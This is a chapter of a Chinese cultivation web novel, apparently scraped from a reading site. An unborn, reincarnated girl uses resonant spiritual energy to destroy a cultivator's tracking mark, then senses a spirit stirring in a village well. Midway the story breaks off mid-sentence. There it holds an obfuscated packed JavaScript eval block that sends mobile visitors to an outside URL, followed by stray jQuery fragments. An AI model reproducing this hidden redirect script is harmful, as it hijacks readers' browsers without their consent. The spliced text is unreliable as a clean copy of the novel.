2. 隐胎藏气

作品:《凡人阵仙录

    青衣修士离去后的第七天,林素衣终于敢再次尝试感知外界。


    她像一只受过惊吓的幼兽,先将意识缩成最细微的一缕,缓慢地探出母体屏障。院子里,林大山正在劈柴,斧头落下的节奏稳健有力;王氏坐在檐下缝补衣物,针线穿过粗布的声响绵密轻柔;隔壁传来孩童追逐的笑闹声——一切都恢复了往日的平静。


    但林素衣知道,有些东西不一样了。


    她将感知聚焦在院墙角落,那是那夜青衣修士站立的位置。空气中残留着一丝极淡的异样气息,与自然灵气截然不同:更凝练,更锋利,带着明显的“标记”意图。那气息像一根无形的线,一端钉在墙角的青砖缝隙里,另一端……她顺着感知延伸,发现它蜿蜒向上,消失在云端方向。


    “追踪标记。”林素衣心中了然。那人果然没有完全放弃,这个标记就像猎人布下的饵,只要她再次大规模吸收灵气,就会像黑夜中的篝火一样显眼。


    必须解决它。


    但怎么做?作为一个尚未出生的胎儿,她连移动手指都做不到,更别说清除修士留下的手段。


    林素衣沉下心,开始审视自身。过去几个月的灵气吸收,虽然总量微乎其微,但确实让她的感知能力和意识强度有所提升。更重要的是,她能感觉到身体内部那缕先天之气——它像一团温润的萤火,安静地盘踞在丹田位置(如果胎儿有丹田的话),与外界灵气有着天然的亲和力。


    “既然能吸引,能否……反向操作?”


    这个念头一出现,林素衣便开始了小心翼翼的试验。她先尝试操控那缕先天之气,用意念引导它移动。过程比想象中困难百倍,就像用一根头发丝去推动水中的羽毛。整整三天,她才让那团萤火微微颤了颤。


    第十天,她终于能让先天之气在体内缓慢流转。


    这期间,林素衣同时观察着那个标记。她发现它并非一成不变:月圆之夜会微微发亮,晨曦时分则暗淡如常;下雨时,雨水冲刷会让它短暂模糊,但雨停后又恢复如初。最重要的是,标记与外界灵气存在微弱的交互——它就像一个小小的漩涡,会主动吸附周围游离的灵气粒子,维持自身存在。


    “自供能结构……”林素衣用前世的工程思维分析,“那么,破坏它的能量循环,或许就能让它失效。”


    问题是如何破坏。


    直接攻击不可能。那么,干扰呢?如果她能控制自身周围的灵气流动,制造一个“灵气真空区”,切断标记的能量补给呢?


    这个想法让林素衣振奋起来。她开始新一轮实验:不再是简单地吸引灵气入体,而是尝试在体外构建一个临时的“灵气场”。方法是将先天之气外放一丝,作为核心,用意念引导周围灵气按照特定轨迹运转。


    第一个尝试彻底失败。外放的先天之气刚离开身体就迅速消散,像水滴落入沙漠。


    第二个尝试,她改变了策略:不外放,而是以自身为“磁极”,在体表形成一层极薄的灵气吸附层。这次成功了——她能感觉到皮肤表面聚集了比平时密集数倍的灵气光点,像一层朦胧的光晕。


    但还不够。标记在三丈外的墙脚,她的影响范围最多只有一尺。


    “范围……需要扩大。”林素衣陷入沉思。先天之气总量有限,不可能无限扩散。那么,能否构建一个“场域结构”,让它自我维持、自我扩展?


    她回忆起前世见过的“特斯拉线圈”:一个小的初始能量,通过谐振放大,能产生巨大的电场。灵气是否也能共振?


    这个想法过于大胆,但值得一试。


    接下来的日子,林素衣将大部分清醒时间都投入实验。她先尝试让体表的灵气层以特定频率波动——想象水面涟漪,一圈圈荡开。起初总是失控,灵气要么散乱逸散,要么停滞不动。直到某个深夜,当她模仿母亲心跳的节奏(那是她在胎中最熟悉的声音)来调节灵气脉动时,奇迹发生了。


    体表的灵气层突然“活”了过来。


    它们开始以稳定的频率振荡,并像共鸣般引动了更远处的灵气。一圈无形的涟漪以她为中心扩散开来,虽然微弱,但确实触及到了一丈、两丈……最终,在第三丈处,触碰到了那个标记。


    标记亮了一下。


    林素衣立刻停止所有动作,心跳加速(如果胎儿有心跳的话)。她紧张地感知着标记的变化——它闪烁了几次,像接触不良的灯泡,然后恢复了原状。没有警报,没有引来那个修士。


    “成功了?”她不敢确定,但确实感觉到了不同:标记虽然还在,但与外界灵气的交互出现了微小的迟滞,就像水流遇到了看不见的障碍。


    这给了她信心。


    林素衣开始系统性地优化这个“灵气谐振场”。她发现,不同的脉动频率效果不同:模仿心跳的节奏最稳定,模仿呼吸的节奏覆盖范围最大,模仿月光洒落的韵律则最隐蔽。她交替使用这三种频率,每天只在深夜进行极短暂的干扰,每次不超过一刻钟。


    一个月后,标记的亮度下降了约三成。


    两个月后,它变得时隐时现,像即将熄灭的余烬。


    第三个月的满月之夜,林素衣决定进行最后一次尝试。那晚天地灵气格外活跃,月光如银浆洒落。她将积累了两个月的经验全部用上:先以呼吸节奏扩张场域,覆盖整个院落;再切换为心跳节奏稳定结构;最后,在月光最盛的那一刻,切换为月光韵律,让整个场域与天地频率同步。


    那一瞬间,她“看到”了前所未有的景象。


    以她为中心,一个直径十丈的半球形场域清晰显现。场域内,无数灵气光点像星尘般缓缓旋转,形成一个精密而优美的动态结构。而墙角的那个标记,此刻正位于场域的边缘,像一个生锈的齿轮卡在精密的钟表里——格格不入,且正在被整个系统排斥、消磨。


    “就是现在。”林素衣集中全部意念,将场域的脉动频率提升到极限。


    标记剧烈闪烁起来,发出只有她能感知到的“尖啸”。它挣扎着想要吸附灵气维持自身,但周围的灵气全部在她的掌控中流转,没有一丝漏给它。三息、五息、十息——


    “啵”的一声轻响。


    标记像肥皂泡一样破灭了。残留的气息被场域彻底搅碎、稀释,最终消散在夜风中。墙角青砖缝隙里,只留下一道极淡的灼痕,像是被火星溅过,很快就会在风吹雨打下消失无踪。


    林素衣缓缓收拢场域,感到一阵深深的疲惫。这次操作消耗了她大量精神,连先天之气都黯淡了许多。但她心中涌起强烈的成就感——这是她来到这个世界后,第一次真正意义上的“主动行动”,而且成功了。


    她化解了一场潜在的危机,凭的不是力量,而是智慧与耐心。


    就在这时,王氏突然“咦”了一声,轻轻抚摸腹部:“孩子他爹,你觉不觉得今晚特别……舒服?像是泡在温水里,浑身都轻快了。”


    林大山打了个哈欠:“是你睡得好吧。快睡吧,明天我还得上山呢。”


    林素衣心中一动。原来她的灵气场域对母亲也有滋养作用?这倒是个意外的发现。


    危机暂时解除,但林素衣没有放松警惕。那个青衣修士可能还会再来,也可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980512|193562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能有其他修士路过察觉异常。她必须更加小心,同时加快对自身能力的探索。


    接下来的孕期,林素衣改变了策略。她不再大规模吸收灵气,而是专注于两件事:第一,继续优化“灵气谐振场”,目标是做到收发由心、不留痕迹;第二,开始系统性“内视”研究那缕先天之气和自己的身体。


    内视的过程让她对自己的状况有了更清晰的认识:


    先天之气确实是胎穿带来的异数,它像一颗种子,扎根在她的生命本源中。随着时间推移,它正在缓慢改造她的体质——经络比普通胎儿更通畅,大脑发育也明显超前。更重要的是,她隐约感觉到,这缕先天之气与“灵根”存在某种关联。每当它流转过某些特定部位时,会引发微弱的共鸣,像是唤醒了沉睡的潜力。


    “三灵根……”林素衣想起父亲在镇上听来的传闻。如果她也有灵根,会是哪种?资质如何?这些都要等出生后、有合适机会才能验证。


    时间在静谧的探索中流逝。王氏的肚子一天天隆起,林素衣能感觉到自己四肢越发有力,对外界的感知也越来越清晰。她已经能分辨出院子里每只鸡的脚步声,能“听”到半里外溪流的水声,甚至能在晴天隐约感知到太阳真火洒下的炽热灵气——那与月华的阴柔灵气截然不同,更暴烈,也更难以吸收。


    冬去春来,王氏的产期近了。


    临产前最后一个月,林素衣主动减少了所有修炼活动。她将大部分时间用于“休息”——不是睡觉,而是以最自然的状态与母体共振,不给母亲增加任何负担。偶尔,她会轻轻动弹,回应父母充满期待的抚摸和对话。


    她知道,自己即将离开这个温暖安全的庇护所,直面这个世界的风雨。


    产前第七天深夜,林素衣最后一次展开感知场域,扫描了整个林家村及周边三里范围。一切如常:村民沉睡,虫鸣唧唧,灵气如常流转。那个修士没有回来,也没有其他异常。


    她收回感知,将意识沉入最深处的宁静。


    够了。准备已经做了能做的一切。胎中的修行告一段落,接下来的路,要等出生后再一步步走。


    就在她准备彻底放松时,一股微弱但奇特的波动突然闯入感知范围。


    不是灵气,不是标记,而是某种……生命共鸣。


    来自村子东头,那口古井方向。


    林素衣凝神感知,发现井底深处,有一团微弱的意识正在苏醒。它很原始,很懵懂,像刚破壳的雏鸟,但确实存在,并且正本能地吸收着井中浓郁的灵气。


    “井中生灵?”林素衣心中惊异。这个世界,连一口普通的井都能孕育出灵性存在吗?


    那团意识似乎也感应到了她的注视,好奇地“望”了过来。两个尚未出生的生命(如果井中那团也算生命的话),在深夜的静谧中完成了第一次无声的交流。


    没有语言,没有形态,只有纯粹的好奇与善意。


    片刻后,那团意识又沉沉睡去,继续它的孕育。


    林素衣收回注意力,心中泛起涟漪。这个世界,比她想象的更加深邃,更加神秘。


    而她的旅程,马上就要真正开始了。


    窗外,第一缕晨光刺破夜色。


    王氏在睡梦中翻身,手无意识地护住腹部,轻声呢喃:“快了吧……娘等着你呢。”


    胎中的林素衣,轻轻踢了踢脚,作为回应。


    这是她在母体中最后的动作。


    十四个时辰后,林家村迎来了二十年来最大的一场春雨。


    而林家的第一个孩子,在雨声中呱呱坠地。